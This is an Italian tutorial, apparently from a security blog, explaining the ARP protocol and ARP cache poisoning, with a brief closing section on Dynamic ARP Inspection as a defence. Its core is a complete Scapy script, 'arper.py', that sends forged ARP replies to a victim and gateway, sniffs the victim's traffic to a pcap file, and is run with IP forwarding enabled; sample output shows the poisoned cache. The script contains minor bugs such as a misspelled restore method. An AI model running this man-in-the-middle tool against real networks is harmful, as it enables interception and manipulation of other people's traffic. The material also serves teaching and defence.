Introduzione All’ARP Poisoning
Table of Contents
Cos’è il Protocollo ARP⌗
Per approfondire l’argomento ti consigli di leggere questo.
A differenza di quanto succede su Internet, i dispositivi presenti nella LAN non comunicano direttamente attraverso gli indirizzi IP, al loro posto, per l’indirizzamento nelle reti locali IPv4, vengono utilizzati gli indirizzi fisici dell’hardware, chiamati indirizzi MAC (Media Access Control). Gli indirizzi MAC vengono attribuiti dal rispettivo produttore hardware e sono unici al mondo. Teoricamente gli indirizzi hardware si adatterebbero quindi per consentire un indirizzamento globale, ma nella prassi questa concezione non si può applicare, visto che gli indirizzi IPv4 sono troppo brevi per rappresentare in modo completo gli indirizzi MAC. Nelle reti basate su IPv4, la risoluzione dell’indirizzo tramite ARP è perciò indispensabile.
Se ora un computer A volesse contattare un computer B nella stessa rete, per ottenere il suo indirizzo IP deve prima di tutto individuare l’indirizzo MAC appropriato. Così entra in azione l’Address Resolution Protocol (ARP), un protocollo di rete che funziona secondo lo schema request-response. Ricercando l’indirizzo MAC giusto, il computer A invia prima di tutto una richiesta broadcast (chiamata richiesta ARP, in inglese “ARP request”) a tutti i dispositivi in rete, questa richiesta comprende all’incirca le seguenti informazioni:
Un computer con l’indirizzo MAC xx-xx-xx-xx-xx-xx e l’indirizzo IP yyy.yyy.yyy.yyy vorrebbe prendere contatto con un computer con l’indirizzo IP zzz.zzz.zzz.zzz e ha bisogno dell’indirizzo MAC giusto.
La richiesta ARP viene accolta da tutti i computer nella LAN. Ogni computer in rete è collegato a una tabella locale, detta cache ARP, per evitare che prima dell’invio di ogni pacchetto debba venire fatta una richiesta ARP. Qui vengono salvati temporaneamente tutti gli indirizzi MAC conosciuti, comprensivi dell’IP assegnato.
Tutti i computer nella rete annotano così nella richiesta broadcast la coppia di indirizzo del mittente consegnato. Però ci si aspetta una risposta broadcast solo dal computer B, che invia un’ARP reply comprendente le seguenti informazioni:
Qui il sistema con l’indirizzo IP zzz.zzz.zzz.zzz. L’indirizzo MAC ricercato è aa-aa-aa-aa-aa-aa.
Se un’ARP reply giunge al computer A, questo dispone di tutte le informazioni necessarie per inviare i pacchetti al computer B. Perciò la comunicazione attraverso la rete locale non incontra nessun ostacolo.
Ma cosa succede se non è il computer di destinazione ricercato a rispondere, bensì un altro dispositivo che viene controllato da un hacker con intenti poco onorevoli? In questo caso entra in gioco l’ARP poisoning.
Ora che abbiamo chiarito il funzionamento del protocollo ARP, possiamo capire come un attaccante può usare le falle del protocollo per i suoi scopi.
Che cos’è l’ARP Poisoning⌗
Lo schema request-response del protocollo ARP è creato in modo tale che venga accettata e salvata la prima richiesta a un ARP request. Nel campo dell’ARP spoofing, gli hacker cercano perciò di prevenire il reale computer di destinazione, di inviare un pacchetto di risposta con informazioni false e di manipolare così la tabella ARP del computer richiedente, si parla quindi anche di ARP poisoning, perché si intende un “avvelenamento” della cache ARP. Di solito il pacchetto comprende anche l’indirizzo MAC di un dispositivo di rete, controllato dall’hacker. Il sistema della vittima collega così l’IP di uscita con un indirizzo dell’hardware falso e in seguito invia, inosservato, tutti i pacchetti al sistema controllato dall’hacker, che ha così la possibilità di rilevare tutto il traffico dati o di manipolarlo. Per rimanere nascosto, il traffico dati ascoltato viene solitamente inoltrato al sistema di destinazione reale. Un hacker ottiene così con l’inganno lo status di man in the middle. Se i pacchetti intercettati non vengono inoltrati, bensì rifiutati, l’ARP poisoning può comportare un Denial of Service (DoS). Un’altra strategia prevede che la rete venga continuamente bombardata da ARP reply false. La maggior parte dei sistemi ignorano i pacchetti di risposta che non possono attribuire a nessuna richiesta; però questo cambia non appena un computer avvia nella LAN una richiesta ARP e di conseguenza si ha l’intenzione di accettare una risposta. È quindi una questione di timing, se al mittente arrivi prima la risposta del sistema di destinazione o di uno dei pacchetti falsi.
ARP Poisoning con Scapy e Python⌗
Dopo tutta questa prefazione teorica ora dobbiamo mettere le mani in pasta.
Disclaimer: ⚠️ Quello che starete per vedere è un esempio di attacco informatico che sto svolgendo su sistemi di mia proprietà. Per chi fosse curioso di replicare quanto vede, consigli di farlo su sistemi di suo possesso, usare queste tecniche su sistemi informatici senza autorizzazione è un illecito. ⚠️
Per questo attacco useremo una macchina Kali (macchina attaccante) e una macchina Pop-os (macchina target - vittima), rispettivamente su macchina virtuale e sul portatile.
Per prima cosa controlleremo la configurazione di rete su Pop-os, il nostro bersaglio. Usiamo il comando:
ifconfig [interface]
interface dovrà essere sostituito con il nome dell’interfaccia di rete della macchina vittima, nel mio caso l’interfaccia è wlp61s0, l’output dovrà essere un qualcosa simile a:
wlp61s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.22 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::bf57:5b8e:8ef6:fe0b prefixlen 64 scopeid 0x20<link>
ether b4:6b:fc:a3:63:99 txqueuelen 1000 (Ethernet)
RX packets 190150 bytes 230866258 (230.8 MB)
RX errors 0 dropped 2237 overruns 0 frame 0
TX packets 52365 bytes 14313727 (14.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Il comando ifconfig ci mostra la configurazione della rete per un’interfaccia specifica (in quest’esempio è la wlp61s0) o per tutte le interfacce se non ne richiediamo una in particolare.
L’output mostra che l’indirizzo inet (IPv4) per il dispositivo è 192.168.1.22. È mostrato anche l’indirizzo mac ether che è b4:6b:fc:a3:63:99.
Ora vediamo la cache ARP della macchina vittima, usiamo il comando:
arp -a
Il risultato è qualcosa del tipo:
wind3.hub (192.168.1.1) associato a b8:d5:26:69:b5:dc [ether] su wlp61s0
Kobra3390.wind3.hub (192.168.1.233) associato a 18:cc:18:fa:ad:b1 [ether] su wlp61s0
192.168.1.233 è l’indirizzo IP della macchina Kali, mentre 192.168.1.1 è l’indirizzo IP del gateway. Oltre ai loro indirizzi IP possiamo vedere i loro indirizzi MAC. Prendiamo nota di questi valori in quanto, visualizzando la cache ARP ad attacco iniziato, potremo verificare di aver provocato il cambio dell’indirizzo MAC registrato per il gateway.
Conoscendo l’indirizzo IP dell’attaccante e del gateway possiamo spostarci sulla macchina attaccante e preparare lo script Python, chiameremo lo script arper.py:
from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr,
send, sniff, sndrcv, srp, wrpcap)
import os, sys, time
def get_mac(targetip):
pass
class Arper:
def __init__(self, victim, gateway, interface='eth0'):
pass
def run(self):
pass
def poison(self):
pass
def sniff(self, count=200):
pass
def restore(self):
pass
if __name__ == "__main__":
(victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
myarp = Arper(victim, gateway, interface)
myarp.run()
Come si vede, definiamo una funzione helper per ottenere l’ indirizzo MAC per una determinata macchina e una classe Arper per fare poisoning (metodo poison), sniffare (metodo sniff) e ripristinare (metodo restore) la configurazione di rete. Completiamo ogni sezione iniziando con la funzione get_mac che restituisce un indirizzo MAC per uno specifico indirizzo IP. Ci servono gli indirizzi MAC della vittima e del gateway:
def get_mac(targetip):
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
for _, r in resp:
return r[Ether].src
return None
Le passiamo l’indirizzo IP dell’obiettivo e creiamo un pacchetto. La funzione Ether specifica che il pacchetto è concepito per essere un broadcast e la funzione ARP che la richiesta punta a sapere l’indirizzo MAC collegato chiedendo a ogni nodo della rete se è in possesso di quell’indirizzo IP. Inviamo poi il pacchetto con la funzione di Scapy srp che si occupa di inviare e ricevere pacchetti a livello 2 della rete. Riceviamo la risposta nella variabile resp che dovrebbe contenere la sorgente Ether (il MAC address) del corrispondente indirizzo IP. Subito dopo, iniziamo a scrivere la classe Arper:
class Arper:
def __init__(self, victim, gateway, interface='eth0'):
self.victim = victim
self.victimmac = get_mac(victim)
self.gateway = gateway
self.gatewaymac = get_mac(gateway)
self.interface = interface
conf.iface = interface
conf.verb = 0
print(f'Initialized {interface}:')
print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
print(f'Victim ({victim}) is at {self.victimmac}.')
print('-' * 30)
Inizializziamo la classe con gli indirizzi IP del gateway e della vittima e specifichiamo l’interfaccia che vogliamo utilizzare (eth0 è l’opzione di default). Popoliamo le variabili interne dell’oggetto con interface, victim, victimmac, gateway e gatewaymac stampandone i valori a console.
All’interno della classe Arper scriviamo la funzione run che rappresenta l’entry point del nostro attacco:
def run(self):
self.poison_thread = Process(target=self.poison)
self.poison_thread.start()
self.sniff_thread = Process(target=self.sniff)
Il metodo run esegue tutto il lavoro principale dell’oggetto Arper. Imposta ed esegue due processi:
- Il primo avvelena la cache ARP
- Il secondo ci permette di osservare l’evoluzione dell’attacco sniffando il traffico di rete
Il metodo poison produce i pacchetti “avvelenati” e li invia alla vittima e al gateway:
def poison(self):
poison_victim = ARP()
poison_victim.op = 2
poison_victim.psrc = self.gateway
poison_victim.pdst = self.victim
poison_victim.hwdst = self.victimmac
print(f'ip src: {poison_victim.psrc}')
print(f'ip dst: {poison_victim.pdst}')
print(f'mac dst: {poison_victim.hwdst}')
print(f'mac src: {poison_victim.hwsrc}')
print(poison_victim.summary())
print(f'-' * 30)
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = self.victim
poison_gateway.pdst = self.gateway
poison_gateway.hwdst = self.gatewaymac
print(f'ip src: {poison_gateway.psrc}')
print(f'ip dst: {poison_gateway.pdst}')
print(f'mac dst: {poison_gateway.hwdst}')
print(f'mac src: {poison_gateway.hwsrc}')
print(poison_gateway.summary())
print(f'-' * 30)
print(f'Beginning the ARP poison. [CTRL-C to stop]')
while True:
sys.stdout.write('.')
sys.stdout.flush()
try:
send(poison_victim)
send(poison_gateway)
except KeyboardInterrupt:
self.restore()
sys.exit()
else:
time.sleep(2)
Il metodo poison imposta i dati che useremo per “avvelenare” la vittima e il gateway. Per prima cosa, creiamo un pacchetto ARP poisoned per la vittima. Allo stesso modo, ne prepariamo uno per il gateway. Inganniamo il gateway inviandogli l’indirizzo IP della vittima ma con il MAC dell’aggressore. Facciamo poi lo stesso inviando alla vittima l’indirizzo IP del gateway ma con il MAC address dell’aggressore. Stampando tutti i dettagli di queste operazioni a console potremo essere certi di aver fissato correttamente indirizzi destinazione e payload.
Poi iniziamo a spedire i pacchetti “avvelenati” alle destinazioni in un ciclo infinito per assicurarci che le rispettive voci nelle cache ARP rimangano corrotte per tutta la durata dell’attacco.
Porremo fine al ciclo solo quando immetteremo la combinazione da tastiera CTRL-C (KeyboardInterrupt) e da lì ripristineremo la situazione riportandola alla normalità, inviando informazioni corrette sia alla vittima sia al gateway e cancellando gli effetti del nostro attacco.
Per vedere e registrare cosa succede durante le nostre operazioni di poisoning, intercettiamo il traffico di rete con il metodo sniff:
def sniff(self, count=100):
time.sleep(5)
print(f'Sniffing {count} packets')
bpf_filter = "ip host %s" % victim
packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
wrpcap('arper.pcap', packets)
print('Got the packets')
self.restrore()
self.poison_thread.terminate()
print('Finished.')
Il metodo sniff resta in pausa per cinque secondi prima di iniziare lo sniffing per dare tempo al thread che esegue il vero e proprio poisoning di avviarsi. Intercetta un determinato numero di pacchetti (100 di default), filtrando quelli che contengono l’indirizzo IP della vittima. Una volta catturati i pacchetti, ne salviamo il contenuto su un file che chiameremo arper.pcap, ripristiniamo le tabelle ARP ai loro valori originali e fermiamo il thread che sta conducendo l’attacco.
Da ultimo, il metodo restore riporta la vittima e il gateway al loro stato originale inviando informazioni ARP corrette alle rispettive macchine:
def restrore(self):
print('Restoring ARP Tables...')
send(ARP(
op=2,
psrc=self.gateway,
hwsrc=self.gatewaymac,
pdst=self.victim,
hwdst='ff:ff:ff:ff:ff:ff'),
count=5)
send(ARP(
op=2,
psrc=self.victim,
hwsrc=self.victimmac,
pdst=self.gateway,
hwdst='ff:ff:ff:ff:ff:ff'),
count=5)
Il metodo restore potrebbe essere chiamato sia da poison (dopo un CTRL-C), sia da sniff (quando il numero di pacchetti richiesti è stato catturato) e si occupa di inviare i valori originali per gli indirizzi IP e MAC del gateway alla vittima, e viceversa, restituisce i corretti IP e MAC della vittima al gateway.
Ecco il codice completo:
from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os, sys, time
def get_mac(targetip):
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
resp, _ = srp(packet, timeout=2, retry=10, verbose=False)
for _, r in resp:
return r[Ether].src
return None
class Arper:
def __init__(self, victim, gateway, interface='eth0'):
self.victim = victim
self.victimmac = get_mac(victim)
self.gateway = gateway
self.gatewaymac = get_mac(gateway)
self.interface = interface
conf.iface = interface
conf.verb = 0
print(f'Initialized {interface}:')
print(f'Gateway ({gateway}) is at {self.gatewaymac}.')
print(f'Victim ({victim}) is at {self.victimmac}.')
print('-' * 30)
def run(self):
self.poison_thread = Process(target=self.poison)
self.poison_thread.start()
self.sniff_thread = Process(target=self.sniff)
self.sniff_thread.start()
def poison(self):
poison_victim = ARP()
poison_victim.op = 2
poison_victim.psrc = self.gateway
poison_victim.pdst = self.victim
poison_victim.hwdst = self.victimmac
print(f'ip src: {poison_victim.psrc}')
print(f'ip dst: {poison_victim.pdst}')
print(f'mac dst: {poison_victim.hwdst}')
print(f'mac src: {poison_victim.hwsrc}')
print(poison_victim.summary())
print(f'-' * 30)
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = self.victim
poison_gateway.pdst = self.gateway
poison_gateway.hwdst = self.gatewaymac
print(f'ip src: {poison_gateway.psrc}')
print(f'ip dst: {poison_gateway.pdst}')
print(f'mac dst: {poison_gateway.hwdst}')
print(f'mac src: {poison_gateway.hwsrc}')
print(poison_gateway.summary())
print(f'-' * 30)
print(f'Beginning the ARP poison. [CTRL-C to stop]')
while True:
sys.stdout.write('.')
sys.stdout.flush()
try:
send(poison_victim)
send(poison_gateway)
except KeyboardInterrupt:
self.restore()
sys.exit()
else:
time.sleep(2)
def sniff(self, count=100):
time.sleep(5)
print(f'Sniffing {count} packets')
bpf_filter = "ip host %s" % victim
packets = sniff(count=count, filter=bpf_filter, iface=self.interface)
wrpcap('arper.pcap', packets)
print('Got the packets')
self.restrore()
self.poison_thread.terminate()
print('Finished.')
def restrore(self):
print('Restoring ARP Tables...')
send(ARP(
op=2,
psrc=self.gateway,
hwsrc=self.gatewaymac,
pdst=self.victim,
hwdst='ff:ff:ff:ff:ff:ff'),
count=5)
send(ARP(
op=2,
psrc=self.victim,
hwsrc=self.victimmac,
pdst=self.gateway,
hwdst='ff:ff:ff:ff:ff:ff'),
count=5)
if __name__ == "__main__":
(victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
myarp = Arper(victim, gateway, interface)
myarp.run()
Prima di avviare l’attacco dobbiamo informare la macchina host locale che possiamo inoltrare pacchetti sia attraverso il gateway sia attraverso il nostro obiettivo. Su Kali digitiamo il comando:
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
Ora che l’IP forwarding è stato importato, avviamo lo script con:
sudo python3 arper.py [IP vittima] [IP gateway] [interface]
Ad esempio:
sudo python3 arper.py 192.168.1.22 192.168.1.1 wlp61s0
L’output durante l’attacco:
? (192.168.1.1) associato a 18:cc:18:fa:ad:b1 [ether] su wlp61s0
? (192.168.1.176) associato a 18:cc:18:fa:ad:b1 [ether] su wlp61s0
Si vede che la vittima malcapitata ha una cache ARP compromessa, poichè il gateway risulta avere lo stesso indirizzo MAC dell’attaccante: infatti noi stiamo attaccando dal 192.168.1.176. A fine attacco, dovresti avere un file di nome arper.pcap nella stessa directory dello script.
Come prevenire L’ARP Poisoning con DAI⌗
L’ispezione ARP dinamica (DAI) è una funzione di sicurezza che rifiuta i pacchetti ARP non validi e dannosi. La funzione impedisce una classe di attacchi man-in-the-middle, in cui una stazione ostile intercetta il traffico per altre stazioni avvelenando le cache ARP dei suoi ignari vicini. Il malintenzionato invia richieste o risposte ARP mappando l’indirizzo IP di un’altra stazione al proprio indirizzo MAC.
DAI si basa sullo snooping DHCP. Lo snooping DHCP ascolta gli scambi di messaggi DHCP e crea un database di associazioni di tuple valide (indirizzo MAC, indirizzo IP, interfaccia VLAN).
Quando DAI è abilitato, lo switch elimina il pacchetto ARP se l’indirizzo MAC e l’indirizzo IP del mittente non corrispondono a una voce nel database dei binding di snooping DHCP. Tuttavia, può essere superato attraverso mappature statiche. I mapping statici sono utili quando gli host configurano indirizzi IP statici, lo snooping DHCP non può essere eseguito o altri switch nella rete non eseguono l’ispezione ARP dinamica. Una mappatura statica associa un indirizzo IP a un indirizzo MAC su una VLAN.